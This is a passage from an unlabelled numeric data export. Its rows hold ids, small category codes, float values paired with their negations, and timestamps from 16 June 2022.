12:32:10.55117+00 +29270,3,9710,14.80490121,-14.80490121,2022-06-16 12:02:06.013585+00 +26184,4,9203,10.58317409,-10.58317409,2022-06-16 11:50:20.415469+00 +26185,4,9267,10.54866071,-10.54866071,2022-06-16 11:50:20.418638+00 +26186,4,9163,13.04588507,-13.04588507,2022-06-16 11:50:20.419629+00 +26187,4,9227,13.0015241,-13.0015241,2022-06-16 11:50:20.420478+00 +26188,4,9275,2.864822206,-2.864822206,2022-06-16 11:50:20.421243+00 +27823,1,9438,7.573949288,-7.573949288,2022-06-16 11:55:05.109085+00 +27824,1,9454,6.600220258,-6.600220258,2022-06-16 11:55:05.112209+00 +27825,1,9439,7.52967408,-7.52967408,2022-06-16 11:55:05.113037+00 +27826,1,9470,5.109803165,-5.109803165,2022-06-16 11:55:05.113861+00 +27827,1,9455,6.546611878,-6.546611878,2022-06-16 11:55:05.114662+00 +27828,1,9471,5.004325721,-5.004325721,2022-06-16 11:55:05.115453+00 +45796,4,12447,6.053767286,-6.053767286,2022-06-16 13:28:11.380208+00 +33135,3,10350,13.65090781,-13.65090781,2022-06-16 12:22:06.902163+00 +29311,4,9663,4.91369593,-4.91369593,2022-06-16 12:02:11.030666+00 +29312,4,9727,4.89940572,-4.89940572,2022-06-16 12:02:11.033814+00 +29313,4,9583,6.428816977,-6.428816977,2022-06-16 12:02:11.034675+00 +29314,4,9647,6.408172394,-6.408172394,2022-06-16 12:02:11.035453+00 +29315,4,9695,7.660958603,-7.660958603,2022-06-16 12:02:11.036216+00 +29316,4,9631,7.634759985,-7.634759985,2022-06-16 12:02:11.037025+00 +29317,4,9549,17.03746976,-17.03746976,2022-06-16 12:02:11.037882+00 +29318,4,9613,16.9695588,-16.9695588,2022-06-16 12:02:11.038657+00 +29343,1,9694,7.568887159,-7.568887159,2022-06-16 12:02:23.174047+00 +29344,1,9711,6.230958173,-6.230958173,2022-06-16 12:02:23.177479+00 +29345,1,9659,3.947910011,-3.947910011,2022-06-16 12:02:23.178272+00 +29346,1,9695,7.44227714,-7.44227714,2022-06-16 12:02:23.179021+00 +29347,1,9643,4.12143386,-4.12143386,2022-06-16 12:02:23.179999+00 +29348,1,9710,6.201634071,-6.201634071,2022-06-16 12:02:23.180772+00 +35188,1,10669,3.819650327,-3.819650327,2022-06-16 12:32:50.381183+00 +35189,1,10685,3.933383449,-3.933383449,2022-06-16 12:32:50.38494+00 +26213,1,9275,4.327681607,-4.327681607,2022-06-16 11:50:23.102509+00 +29379,4,9491,8.48241851,-8.48241851,2022-06-16 12:02:28.183128+00 +29380,4,9555,8.457203358,-8.457203358,2022-06-16 12:02:28.184368+00 +29381,4,9619,8.432105545,-8.432105545,2022-06-16 12:02:28.185089+00 +29394,6,9695,11.64208127,-11.64208127,2022-06-16 12:02:36.469517+00 +31195,4,9967,5.83569261,-5.83569261,2022-06-16 12:12:10.029029+00 +31196,4,9919,4.459865129,-4.459865129,2022-06-16 12:12:10.032233+00 +31197,4,9983,4.447543714,-4.447543714,2022-06-16 12:12:10.033043+00 +31198,4,10047,4.435274788,-4.435274788,2022-06-16 12:12:10.033881+00 +31199,4,9933,16.36542401,-16.36542401,2022-06-16 12:12:10.034681+00 +31200,4,9951,7.397164276,-7.397164276,2022-06-16 12:12:10.035539+00 +35190,1,10601,7.854581407,-7.854581407,2022-06-16 12:32:50.385763+00 +29473,6,9659,5.081543306,-5.081543306,2022-06-16 12:02:50.81038+00 +29485,2,9664,4.721208865,-4.721208865,2022-06-16 12:03:04.554573+00 +29486,2,9694,8.117720876,-8.117720876,2022-06-16 12:03:04.557901+00 +35191,1,10617,7.84504482,-7.84504482,2022-06-16 12:32:50.386555+00 +35192,1,10585,7.925555491,-7.925555491,2022-06-16 12:32:50.387395+00 +35193,1,10593,8.749501766,-8.749501766,2022-06-16 12:32:50.388152+00 +37726,2,11134,3.957557167,-3.957557167,2022-06-16 12:47:04.796973+00 +26232,2,9277,6.314793056,-6.314793056,2022-06-16 11:50:24.445055+00 +29533,2,9659,6.414479064,-6.414479064,2022-06-16 12:03:14.537207+00 +40165,1,11296,5.435501451,-5.435501451,2022-06-16 12:59:44.577481+00 +45826,4,12245,9.312476537,-9.312476537,2022-06-16 13:28:16.159937+00 +37814,6,11067,3.686665603,-3.686665603,2022-06-16 12:47:33.798754+00 +45862,4,12377,11.0777934,-11.0777934,2022-06-16 13:28:46.558572+00 +33534,6,10429,2.715888652,-2.715888652,2022-06-16 12:24:08.680287+00 +40317,2,11501,4.902282028,-4.902282028,2022-06-16 13:00:19.545557+00 +33617,6,10398,11.35260691,-11.35260691,2022-06-16 12:24:37.036853+00 +40345,4,11507,9.553381892,-9.553381892,2022-06-16 13:00:22.105221+00 +40346,4,11499,1.648962734,-1.648962734,2022-06-16 13:00:22.106273+00 +28007,4,9502,8.145042695,-8.145042695,2022-06-16 11:56:06.917329+00 +28008,4,9454,6.993338726,-6.993338726,2022-06-16 11:56:06.920593+00 +28009,4,9518,6.969582879,-6.969582879,2022-06-16 11:56:06.921692+00 +28010,4,9472,2.202753319,-2.202753319,2022-06-16 11:56:06.922898+00 +28011,4,9456,0.647917899,0,2022-06-16 11:56:06.923842+00 +28052,4,9405,5.132560658,-5.132560658,2022-06-16 11:56:09.809564+00 +28053,4,9469,5.115572879,-5.115572879,2022-06-16 11:56:09.810694+00 +28054,4,9389,4.98125348,-4.98125348,2022-06-16 11:56:09.811458+00 +28055,4,9453,4.964929566,-4.964929566,2022-06-16 11:56:09.812137+00 +37020,2,10975,8.099664516,-8.099664516,2022-06-16 12:43:04.827763+00 +28088,4,9165,17.75639239,-17.75639239,2022-06-16 11:56:17.519343+00 +28089,4,9229,17.6853816,-17.6853816,2022-06-16 11:56:17.520539+00 +28090,4,9293,17.61462662,-17.61462662,2022-06-16 11:56:17.521328+00 +28091,4,9357,17.54412892,-17.54412892,2022-06-16 11:56:17.522058+00 +28092,4,9421,17.4738899,-17.4738899,2022-06-16 11:56:17.52278+00 +28093,4,9181,10.99607369,-10.99607369,2022-06-16 11:56:17.523502+00 +28094,4,9245,10.95121378,-10.95121378,2022-06-16 11:56:17.524148+00 +28095,4,9309,10.90661285,-10.90661285,2022-06-16 11:56:17.524774+00 +26261,4,9171,8.856404602,-8.856404602,2022-06-16 11:50:27.615895+00 +26262,4,9235,8.829254466,-8.829254466,2022-06-16 11:50:27.619224+00 +28096,4,9373,10.86226938,-10.86226938,2022-06-16 11:56:17.52545+00 +28097,4,9519,6.835991063,-6.835991063,2022-06-16 11:56:17.526079+00 +30228,2,9822,8.023979159,-8.023979159,2022-06-16 12:07:04.639591+00 +28197,7,9386,10.28378395,-10.28378395,2022-06-16 11:56:59.146866+00 +48968,6,12947,12.86764378,-12.86764378,2022-06-16 13:46:40.917823+00 +45863,1,12461,2.478212987,-2.478212987,2022-06-16 13:28:47.670146+00 +45892,4,12344,7.620030491,-7.620030491,2022-06-16 13:28:51.529194+00 +27272,4,9323,2.922276769,-2.922276769,2022-06-16 11:53:20.67094+00 +37390,2,11039,8.086390031,-8.086390031,2022-06-16 12:45:04.813866+00 +34915,3,10539,10.35263571,-10.35263571,2022-06-16 12:31:20.481044+00 +43007,6,11950,5.954294119,-5.954294119,2022-06-16 13:12:37.971661+00 +28537,3,9578,10.3103283,-10.3103283,2022-06-16 11:58:37.158182+00 +26277,1,9310,7.736576374,-7.736576374,2022-06-16 11:50:29.102949+00 +26278,1,9326,6.834842353,-6.834842353,2022-06-16 11:50:29.106102+00 +26279,1,9327,6.817987793,-6.817987793,2022-06-16 11:50:29.106924+00 +26280,1,9311,7.648595428,-7.648595428,2022-06-16 11:50:29.107804+00 +30526,3,9581,8.345207609,-8.345207609,2022-06-16 12:08:30.575898+00 +28608,2,9582,6.926766629,-6.926766629,2022-06-16 11:59:04.759209+00 +28609,2,9583,7.38101074,-7.38101074,2022-06-16 11:59:04.762415+00 +27465,6,9421,14.10691075,-14.10691075,2022-06-16 11:54:13.848646+00 +30529,1,9849,8.594499309,-8.594499309,2022-06-16 12:08:35.187033+00 +28640,6,9581,3.30135323,-3.30135323,2022-06-16 11:59:07.537514+00 +28663,6,9533,3.4030592,-3.4030592,2022-06-16 11:59:09.431266+00 +28664,6,9597,3.3953866,-3.3953866,2022-06-16 11:59:09.432504+00 +30530,1,9833,8.582380269,-8.582380269,2022-06-16 12:08:35.188083+00 +30531,1,9817,8.668143316,-8.668143316,2022-06-16 12:08:35.188839+00 +32704,3,10240,6.903165331,-6.903165331,2022-06-16 12:20:04.507404+00 +32800,1,10210,16.27264205,-16.27264205,2022-06-16 12:20:20.244169+00 +30639,6,9903,9.460152251,-9.460152251,2022-06-16 12:09:05.143868+00 +32801,1,10234,16.33984247,-16.33984247,2022-06-16 12:20:20.245383+00 +27683,6,9470,9.024458123,-9.024458123,2022-06-16 11:54:32.087861+00 +32802,1,10269,10.92179084,-10.92179084,2022-06-16 12:20:20.246153+00 +32803,1,10218,8.522218809,-8.522218809,2022-06-16 12:20:20.246921+00 +32804,1,10301,4.302044943,-4.302044943,2022-06-16 12:20:20.247701+00 +32805,1,10202,16.36077767,-16.36077767,2022-06-16 12:20:20.248481+00 +32806,1,10285,4.179413251,-4.179413251,2022-06-16 12:20:20.249146+00 +28932,6,9579,5.358789579,-5.358789579,2022-06-16 12:00:15.637193+00 +26303,6,9264,1.773616958,0,2022-06-16 11:50:43.712157+00 +32811,6,10270,11.44962205,-11.44962205,2022-06-16 12:20:24.257366+00 +27797,2,9392,1.570513251,0,2022-06-16 11:55:04.46112+00 +46119,1,12543,2.551726884,-2.551726884,2022-06-16 13:30:23.64062+00 +32845,4,10195,7.775643789,-7.775643789,2022-06-16 12:20:28.475507+00 +26308,6,9280,5.693797281,-5.693797281,2022-06-16 11:50:43.940568+00 +26309,1,9309,10.43361696,-10.43361696,2022-06-16 11:50:44.105357+00 +26310,1,9341,4.832574581,-4.832574581,2022-06-16 11:50:44.108775+00 +26311,1,9325,4.706218893,-4.706218893,2022-06-16 11:50:44.109599+00 +26312,1,9317,15.96936477,-15.96936477,2022-06-16 11:50:44.110361+00 +46120,1,12526,2.858862407,-2.858862407,2022-06-16 13:30:23.641422+00 +32867,1,10216,16.77540438,-16.77540438,2022-06-16 12:20:32.243937+00 +32897,6,10195,13.93195084,-13.93195084,2022-06-16 12:20:53.704514+00 +31003,2,9920,4.634980257,-4.634980257,2022-06-16 12:11:04.57555+00 +26317,6,9293,14.21038744,-14.21038744,2022-06-16 11:50:48.761241+00 +46121,1,12542,2.256316518,-2.256316518,2022-06-16 13:30:23.642202+00 +31027,2,9967,6.66353874,-6.66353874,2022-06-16 12:11:05.163779+00 +31048,4,9848,8.526585312,-8.526585312,2022-06-16 12:11:18.599799+00 +35096,1,10624,1.691982553,-1.691982553,2022-06-16 12:32:11.379394+00 +35097,1,10611,14.17934125,-14.17934125,2022-06-16 12:32:11.382679+00 +35098,1,10587,7.062498934,-7.062498934,2022-06-16 12:32:11.383534+00 +35099,1,10608,0.610113818,0,2022-06-16 12:32:11.384312+00 +35100,1,10603,3.522754158,-3.522754158,2022-06-16 12:32:11.385066+00 +35101,1,10619,3.061146308,-3.061146308,2022-06-16 12:32:11.385896+00 +31201,4,9749,13.71208555,-13.71208555,2022-06-16 12:12:12.059691+00 +31202,4,9877,13.65664471,-13.65664471,2022-06-16 12:12:12.063488+00 +31203,4,9941,13.60148735,-13.60148735,2022-06-16 12:12:12.06451+00 +35102,1,10595,21.30723793,-21.30723793,2022-06-16 12:32:11.386731+00 +29319,4,9493,14.2340256,-14.2340256,2022-06-16 12:02:13.023597+00 +29320,4,9557,14.17564447,-14.17564447,2022-06-16 12:02:13.026991+00 +33185,6,10299,4.32404126,-4.32404126,2022-06-16 12:22:12.163204+00 +31246,6,10031,9.179231984,-9.179231984,2022-06-16 12:12:18.992972+00 +29374,6,9726,8.436978991,-8.436978991,2022-06-16 12:02:25.586564+00 +31270,3,9915,10.48823399,-10.48823399,2022-06-16 12:12:21.951705+00 +31271,3,9979,10.41728944,-10.41728944,2022-06-16 12:12:21.954986+00 +31275,4,9998,17.09846096,-17.09846096,2022-06-16 12:12:25.807098+00 +43292,6,12014,5.875904932,-5.875904932,2022-06-16 13:14:06.007169+00 +33231,6,10325,10.35852518,-10.35852518,2022-06-16 12:22:26.459533+00 +33251,3,10029,7.598970398,-7.598970398,2022-06-16 12:22:32.45111+00 +29463,6,9619,14.46542983,-14.46542983,2022-06-16 12:02:50.271097+00 +29474,4,9687,15.44622414,-15.44622414,2022-06-16 12:02:53.354491+00 +29475,4,9694,7.773687475,-7.773687475,2022-06-16 12:02:53.358417+00 +43370,4,11990,14.57278817,-14.57278817,2022-06-16 13:14:14.977686+00 +29499,2,9710,6.692567193,-6.692567193,2022-06-16 12:03:04.845462+00 +33316,2,10351,6.066624092,-6.066624092,2022-06-16 12:23:05.136072+00 +43371,4,12015,3.025528418,-3.025528418,2022-06-16 13:14:14.978372+00 +35263,2,10686,4.29105691,-4.29105691,2022-06-16 12:33:05.314056+00 +40452,2,11550,7.874273502,-7.874273502,2022-06-16 13:01:04.914174+00 +43372,4,11861,10.00559611,-10.00559611,2022-06-16 13:14:14.978999+00 +40501,2,11499,5.422786597,-5.422786597,2022-06-16 13:01:14.453734+00 +43373,4,11925,9.970501063,-9.970501063,2022-06-16 13:14:14.979592+00 +46137,6,12510,10.2855498,-10.2855498,2022-06-16 13:30:28.476931+00 +33535,4,10349,3.653553079,-3.653553079,2022-06-16 12:24:10.546477+00 +33536,4,10365,3.763706414,-3.763706414,2022-06-16 12:24:10.549931+00 +33537,4,10333,9.934721233,-9.934721233,2022-06-16 12:24:10.550829+00 +33538,4,10317,15.78343114,-15.78343114,2022-06-16 12:24:10.551761+00 +56730,1,14382,1.555312676,-1.555312676,2022-06-16 14:28:45.012466+00 +52909,2,13611,3.885756701,-3.885756701,2022-06-16 14:07:14.42379+00 +33656,1,10329,8.176880654,-8.176880654,2022-06-16 12:24:53.297759+00 +33657,1,10361,8.073466911,-8.073466911,2022-06-16 12:24:53.30123+00 +32189,2,10175,4.92793346,-4.92793346,2022-06-16 12:17:05.361029+00 +30159,6,9813,10.98371397,-10.98371397,2022-06-16 12:06:21.893001+00 +29695,3,9774,14.68816233,-14.68816233,2022-06-16 12:04:07.848786+00 +39649,2,11438,4.647094538,-4.647094538,2022-06-16 12:57:05.521644+00 +56384,2,14256,1.918343981,0,2022-06-16 14:27:05.089354+00 +42646,2,11902,3.382657488,-3.382657488,2022-06-16 13:11:05.575629+00 +39851,3,11455,9.293555993,-9.293555993,2022-06-16 12:58:05.405283+00 +39852,3,11519,9.23297688,-9.23297688,2022-06-16 12:58:05.409945+00 +60065,6,14814,8.56241668,-8.56241668,2022-06-16 14:42:39.444125+00 +29704,3,9775,14.77343012,-14.77343012,2022-06-16 12:04:08.030232+00 +32662,3,10223,13.97832744,-13.97832744,2022-06-16 12:19:41.194839+00 +60168,2,14831,1.773341904,-1.773341904,2022-06-16 14:43:05.430184+00 +46123,6,12509,5.741575737,-5.741575737,2022-06-16 13:30:23.895648+00 +40119,4,11434,7.425733591,-7.425733591,2022-06-16 12:59:25.384109+00 +52990,6,13696,3.956040011,-3.956040011,2022-06-16 14:08:03.649158+00 +35103,4,10687,3.668662367,-3.668662367,2022-06-16 12:32:11.985746+00 +29711,6,9707,5.266147447,-5.266147447,2022-06-16 12:04:08.243723+00 +35104,4,10671,4.703352538,-4.703352538,2022-06-16 12:32:11.989321+00 +53075,4,13659,4.094365269,-4.094365269,2022-06-16 14:08:20.88965+00 +53076,4,13683,8.53884661,-8.53884661,2022-06-16 14:08:20.892938+00 +40258,6,11499,3.875565095,-3.875565095,2022-06-16 13:00:08.208838+00 +29716,6,9723,5.043568813,-5.043568813,2022-06-16 12:04:08.481822+00 +40319,6,11549,6.492967042,-6.492967042,2022-06-16 13:00:20.276421+00 +29718,4,9709,4.471322313,-4.471322313,2022-06-16 12:04:09.770986+00 +29719,4,9725,4.594679532,-4.594679532,2022-06-16 12:04:09.774586+00 +40320,1,11565,3.194034322,-3.194034322,2022-06-16 13:00:20.514679+00 +29721,6,9773,3.153725562,-3.153725562,2022-06-16 12:04:11.445111+00 +29722,4,9677,16.81797977,-16.81797977,2022-06-16 12:04:11.580775+00 +29723,4,9759,7.601615451,-7.601615451,2022-06-16 12:04:11.584619+00 +29724,4,9711,6.222128381,-6.222128381,2022-06-16 12:04:11.585662+00 +29725,4,9775,6.202511422,-6.202511422,2022-06-16 12:04:11.58662+00 +29726,4,9791,4.746538382,-4.746538382,2022-06-16 12:04:11.587502+00 +29727,4,9685,14.06910204,-14.06910204,2022-06-16 12:04:13.118139+00 +38010,6,11136,4.444298003,-4.444298003,2022-06-16 12:48:24.197419+00 +30927,6,9950,11.94033975,-11.94033975,2022-06-16 12:10:41.29984+00 +40321,1,11581,3.291744731,-3.291744731,2022-06-16 13:00:20.51597+00 +33186,4,10351,5.200510775,-5.200510775,2022-06-16 12:22:12.697556+00 +33187,4,10367,4.01888447,-4.01888447,2022-06-16 12:22:12.700798+00 +33188,4,10197,13.15878394,-13.15878394,2022-06-16 12:22:12.701898+00 +33189,4,10261,13.10646459,-13.10646459,2022-06-16 12:22:12.702779+00 +53077,4,13643,13.69717192,-13.69717192,2022-06-16 14:08:20.893887+00 +29736,6,9789,3.245905811,-3.245905811,2022-06-16 12:04:13.364942+00 +33234,6,10333,7.608469817,-7.608469817,2022-06-16 12:22:28.453358+00 +40351,4,11467,12.66591155,-12.66591155,2022-06-16 13:00:23.356132+00 +33283,4,10264,9.234903759,-9.234903759,2022-06-16 12:22:58.52079+00 +40381,3,11245,6.538393175,-6.538393175,2022-06-16 13:00:32.095993+00 +40393,1,11484,15.22601602,-15.22601602,2022-06-16 13:00:41.514451+00 +29742,6,9774,10.298556,-10.298556,2022-06-16 12:04:13.699818+00 +38246,3,11263,9.765288862,-9.765288862,2022-06-16 12:50:04.947067+00 +40394,1,11516,15.19290197,-15.19290197,2022-06-16 13:00:41.515676+00 +40395,1,11508,15.15947447,-15.15947447,2022-06-16 13:00:41.516377+00 +31248,6,10046,7.674495448,-7.674495448,2022-06-16 12:12:19.120786+00 +40396,1,11500,15.12382043,-15.12382043,2022-06-16 13:00:41.517043+00 +38383,6,11230,10.97108644,-10.97108644,2022-06-16 12:50:40.011142+00 +29749,6,9775,9.80407193,-9.80407193,2022-06-16 12:04:13.884238+00 +33539,4,10415,5.128487643,-5.128487643,2022-06-16 12:24:12.052665+00 +33540,4,10431,3.962272272,-3.962272272,2022-06-16 12:24:12.055873+00 +33541,4,10335,6.999768501,-6.999768501,2022-06-16 12:24:12.05668+00 +33542,4,10399,6.977311854,-6.977311854,2022-06-16 12:24:12.057516+00 +31387,2,10030,6.154909623,-6.154909623,2022-06-16 12:13:04.764909+00 +35682,1,10680,7.954448196,-7.954448196,2022-06-16 12:35:08.378242+00 +31405,2,10015,8.361311298,-8.361311298,2022-06-16 12:13:05.18469+00 +29757,6,9790,8.284454603,-8.284454603,2022-06-16 12:04:14.163246+00 +33579,4,10363,1.932853872,-1.932853872,2022-06-16 12:24:21.554252+00 +29759,1,9758,7.504329358,-7.504329358,2022-06-16 12:04:14.183124+00 +29760,1,9759,7.433899507,-7.433899507,2022-06-16 12:04:14.184161+00 +29761,1,9707,4.077514515,-4.077514515,2022-06-16 12:04:14.184876+00 +29762,1,9723,3.899647646,-3.899647646,2022-06-16 12:04:14.18559+00 +29763,1,9774,6.066794437,-6.066794437,2022-06-16 12:04:14.186587+00 +38397,4,11000,8.083427077,-8.083427077,2022-06-16 12:50:49.251124+00 +29765,6,9791,7.735754052,-7.735754052,2022-06-16 12:04:14.225266+00 +40402,3,11568,2.664249111,0,2022-06-16 13:00:45.48861+00 +31473,3,10032,2.651769321,0,2022-06-16 12:13:40.88126+00 +31484,2,9770,6.882511434,-6.882511434,2022-06-16 12:13:45.605759+00 +33658,1,10337,9.00926479,-9.00926479,2022-06-16 12:24:53.302094+00 +33659,1,10345,8.050821546,-8.050821546,2022-06-16 12:24:53.302918+00 +33686,2,10352,1.62876513,0,2022-06-16 12:25:04.533263+00 +40419,1,11506,13.30723086,-13.30723086,2022-06-16 13:00:47.515429+00 +40420,1,11492,15.09578792,-15.09578792,2022-06-16 13:00:50.515502+00 +43375,6,12013,1.51461102,-1.51461102,2022-06-16 13:14:16.574987+00 +43389,1,11962,12.84153977,-12.84153977,2022-06-16 13:14:20.57653+00 +43390,1,11968,1.184320163,-1.184320163,2022-06-16 13:14:20.578171+00 +29777,4,9691,4.507676275,-4.507676275,2022-06-16 12:04:18.033689+00 +43391,1,11952,0.523532476,0,2022-06-16 13:14:20.579327+00 +33824,4,10296,8.335579691,-8.335579691,2022-06-16 12:25:48.256709+00 +43392,1,11954,12.54567384,-12.54567384,2022-06-16 13:14:20.580224+00 +35883,6,10773,9.585229802,-9.585229802,2022-06-16 12:36:25.541222+00 +29782,2,9709,5.854913838,-5.854913838,2022-06-16 12:04:19.431627+00 +31625,6,10078,11.73513896,-11.73513896,2022-06-16 12:14:14.308334+00 +35910,6,10797,2.307350941,-2.307350941,2022-06-16 12:36:32.49266+00 +35919,1,10781,10.57650872,-10.57650872,2022-06-16 12:36:38.40314+00 +31648,4,10071,15.33118041,-15.33118041,2022-06-16 12:14:19.440016+00 +29787,2,9725,6.006076691,-6.006076691,2022-06-16 12:04:19.553748+00 +29788,4,9723,2.426604158,-2.426604158,2022-06-16 12:04:20.367429+00 +29789,4,9715,10.29973992,-10.29973992,2022-06-16 12:04:20.368683+00 +29790,4,9675,12.48716456,-12.48716456,2022-06-16 12:04:20.369635+00 +29791,4,9707,2.529170241,-2.529170241,2022-06-16 12:04:20.370445+00 +31668,7,10026,9.22179681,-9.22179681,2022-06-16 12:14:25.982266+00 +33917,3,10478,13.4330884,-13.4330884,2022-06-16 12:26:06.817704+00 +43393,1,11930,12.42196484,-12.42196484,2022-06-16 13:14:20.581027+00 +43394,1,11938,12.70384646,-12.70384646,2022-06-16 13:14:20.58184+00 +31697,4,10062,17.02047432,-17.02047432,2022-06-16 12:14:29.053953+00 +31698,4,9939,7.982666954,-7.982666954,2022-06-16 12:14:29.055423+00 +31699,4,10003,7.959863439,-7.959863439,2022-06-16 12:14:29.056333+00 +31701,2,10090,6.816434589,-6.816434589,2022-06-16 12:14:30.739503+00 +31703,3,9773,7.97312147,-7.97312147,2022-06-16 12:14:31.373109+00 +31715,6,10069,10.63409074,-10.63409074,2022-06-16 12:14:45.047862+00 +35956,1,10752,1.625373933,-1.625373933,2022-06-16 12:36:47.402468+00 +35957,1,10773,13.46799445,-13.46799445,2022-06-16 12:36:47.403782+00 +35958,1,10723,21.34470153,-21.34470153,2022-06-16 12:36:47.404636+00 +35959,1,10739,14.0353417,-14.0353417,2022-06-16 12:36:47.405461+00 +35960,1,10736,0.604225613,0,2022-06-16 12:36:47.406279+00 +35961,1,10715,6.974365355,-6.974365355,2022-06-16 12:36:47.407028+00 +31762,2,10032,1.588444135,0,2022-06-16 12:15:04.457276+00 +40742,2,11581,4.979501299,-4.979501299,2022-06-16 13:02:19.562076+00 +43395,1,11937,9.827780074,-9.827780074,2022-06-16 13:14:20.58255+00 +31767,2,10048,4.534783672,-4.534783672,2022-06-16 12:15:04.554661+00 +38761,4,11219,7.221268521,-7.221268521,2022-06-16 12:52:29.969386+00 +29792,1,9696,6.621651204,-6.621651204,2022-06-16 12:04:23.185485+00 +29793,1,9773,4.427978508,-4.427978508,2022-06-16 12:04:26.213361+00 +29794,1,9789,4.550244715,-4.550244715,2022-06-16 12:04:26.217436+00 +29795,4,9683,8.347965563,-8.347965563,2022-06-16 12:04:28.637472+00 +29797,1,9728,2.21052825,-2.21052825,2022-06-16 12:04:29.213615+00 +29798,1,9712,0.684495666,0,2022-06-16 12:04:29.216865+00 +29799,1,9688,9.953920677,-9.953920677,2022-06-16 12:04:29.217704+00 +29801,1,9720,8.997155103,-8.997155103,2022-06-16 12:04:32.214729+00 +29802,6,9578,10.80003825,-10.80003825,2022-06-16 12:04:32.322491+00 +29803,7,9706,9.849697281,-9.849697281,2022-06-16 12:04:35.161549+00 +29805,6,9758,12.18420347,-12.18420347,2022-06-16 12:04:37.243166+00 +30281,6,9822,12.0791775,-12.0791775,2022-06-16 12:07:22.407219+00 +37320,6,11021,12.31229106,-12.31229106,2022-06-16 12:44:46.89961+00 +37357,4,10840,8.936759497,-8.936759497,2022-06-16 12:44:51.819677+00 +30410,3,9855,12.11388102,-12.11388102,2022-06-16 12:07:56.010727+00 +37369,1,11029,13.25546146,-13.25546146,2022-06-16 12:44:59.408709+00 +32621,7,10154,8.940604942,-8.940604942,2022-06-16 12:19:18.717476+00 +30528,6,9869,13.38593228,-13.38593228,2022-06-16 12:08:34.565494+00 +60413,3,14894,5.810992324,-5.810992324,2022-06-16 14:44:05.711916+00 +40065,2,11487,8.080574742,-8.080574742,2022-06-16 12:59:05.034735+00 +35027,3,10624,6.610896971,-6.610896971,2022-06-16 12:31:58.666235+00 +37502,6,10922,7.994361794,-7.994361794,2022-06-16 12:45:49.171262+00 +35105,4,10679,11.8094915,-11.8094915,2022-06-16 12:32:13.228203+00 +35142,3,10672,2.630256333,0,2022-06-16 12:32:26.315532+00 +35155,4,10579,7.585353973,-7.585353973,2022-06-16 12:32:28.587203+00 +35174,3,10365,7.509702295,-7.509702295,2022-06-16 12:32:32.505418+00 +43092,2,11934,7.895908728,-7.895908728,2022-06-16 13:13:05.023488+00 +29824,3,9579,11.59794546,-11.59794546,2022-06-16 12:04:41.165908+00 +29825,3,9643,11.51870155,-11.51870155,2022-06-16 12:04:41.169261+00 +29826,3,9707,11.44012751,-11.44012751,2022-06-16 12:04:41.170062+00 +35230,2,10608,1.641198955,0,2022-06-16 12:33:04.509365+00 +49406,1,13085,9.300709726,-9.300709726,2022-06-16 13:49:02.786715+00 +30891,2,9917,5.876482841,-5.876482841,2022-06-16 12:10:19.418486+00 +37666,6,11135,5.559480801,-5.559480801,2022-06-16 12:46:26.786544+00 +43165,1,11896,6.863065975,-6.863065975,2022-06-16 13:13:20.602101+00 +33237,4,10126,17.5913341,-17.5913341,2022-06-16 12:22:30.035806+00 +43227,3,11966,8.879485774,-8.879485774,2022-06-16 13:14:03.969064+00 +29834,3,9595,11.12885084,-11.12885084,2022-06-16 12:04:41.752823+00 +29835,3,9659,11.05299309,-11.05299309,2022-06-16 12:04:41.756076+00 +29836,3,9723,10.97777819,-10.97777819,2022-06-16 12:04:41.756911+00 +29837,1,9706,10.52429961,-10.52429961,2022-06-16 12:04:44.218582+00 +35358,6,10687,6.157130912,-6.157130912,2022-06-16 12:33:28.012244+00 +29839,6,9741,13.57032834,-13.57032834,2022-06-16 12:04:45.412602+00 +29840,4,9706,9.917764355,-9.917764355,2022-06-16 12:04:48.808288+00 +35387,4,10464,6.146202862,-6.146202862,2022-06-16 12:33:47.102981+00 +29842,6,9749,11.02069295,-11.02069295,2022-06-16 12:04:50.423847+00 +29843,1,9689,8.799221314,-8.799221314,2022-06-16 12:04:53.215192+00 +29844,1,9721,8.688459686,-8.688459686,2022-06-16 12:04:53.218498+00 +29845,1,9705,8.676115882,-8.676115882,2022-06-16 12:04:53.219554+00 +49407,1,13117,2.975005087,-2.975005087,2022-06-16 13:49:02.790007+00 +33383,6,10259,13.8740764,-13.8740764,2022-06-16 12:23:29.023337+00 +53078,4,13675,0.883075814,-0.883075814,2022-06-16 14:08:22.19853+00 +35466,3,10687,10.91496302,-10.91496302,2022-06-16 12:34:05.577743+00 +29850,1,9722,17.59755339,-17.59755339,2022-06-16 12:04:59.210144+00 +29851,1,9690,17.51094778,-17.51094778,2022-06-16 12:04:59.21358+00 +43382,1,11929,6.281407334,-6.281407334,2022-06-16 13:14:17.584024+00 +35494,6,10749,2.459572937,-2.459572937,2022-06-16 12:34:10.942267+00 +35524,1,10592,5.969454336,-5.969454336,2022-06-16 12:34:17.3846+00 +43383,1,11963,1.960025034,-1.960025034,2022-06-16 13:14:17.584683+00 +43384,1,11945,6.200022107,-6.200022107,2022-06-16 13:14:17.585296+00 +31273,6,9997,13.19433319,-13.19433319,2022-06-16 12:12:23.173503+00 +31284,3,9709,8.101789351,-8.101789351,2022-06-16 12:12:31.179703+00 +38020,1,11130,14.42227785,-14.42227785,2022-06-16 12:48:32.410888+00 +38021,1,11165,10.39757096,-10.39757096,2022-06-16 12:48:32.414468+00 +38022,1,11098,14.25978475,-14.25978475,2022-06-16 12:48:32.415893+00 +38065,2,11167,8.115120966,-8.115120966,2022-06-16 12:49:04.853792+00 +38066,2,11182,4.984715605,-4.984715605,2022-06-16 12:49:04.857647+00 +43385,1,11944,15.45442003,-15.45442003,2022-06-16 13:14:17.58587+00 +31407,2,10046,4.816943324,-4.816943324,2022-06-16 12:13:05.214152+00 +43386,1,11953,6.715248136,-6.715248136,2022-06-16 13:14:17.586456+00 +33825,4,10283,2.245368891,-2.245368891,2022-06-16 12:25:49.503784+00 +31449,2,9979,6.055132749,-6.055132749,2022-06-16 12:13:14.403901+00 +33826,4,10347,2.241873149,-2.241873149,2022-06-16 12:25:49.507273+00 +53079,4,13691,0.810777928,-0.810777928,2022-06-16 14:08:22.201971+00 +43468,1,12014,3.190103587,-3.190103587,2022-06-16 13:14:47.605019+00 +53103,1,13658,10.08482381,-10.08482381,2022-06-16 14:08:29.817304+00 +35828,4,10752,1.694447736,-1.694447736,2022-06-16 12:36:07.164761+00 +29874,2,9712,1.581605645,0,2022-06-16 12:05:04.445458+00 +35829,4,10736,0.623866402,0,2022-06-16 12:36:07.169583+00 +40743,4,11571,9.522750598,-9.522750598,2022-06-16 13:02:20.321166+00 +40744,4,11579,1.396336143,-1.396336143,2022-06-16 13:02:20.324885+00 +40745,4,11547,4.387048288,-4.387048288,2022-06-16 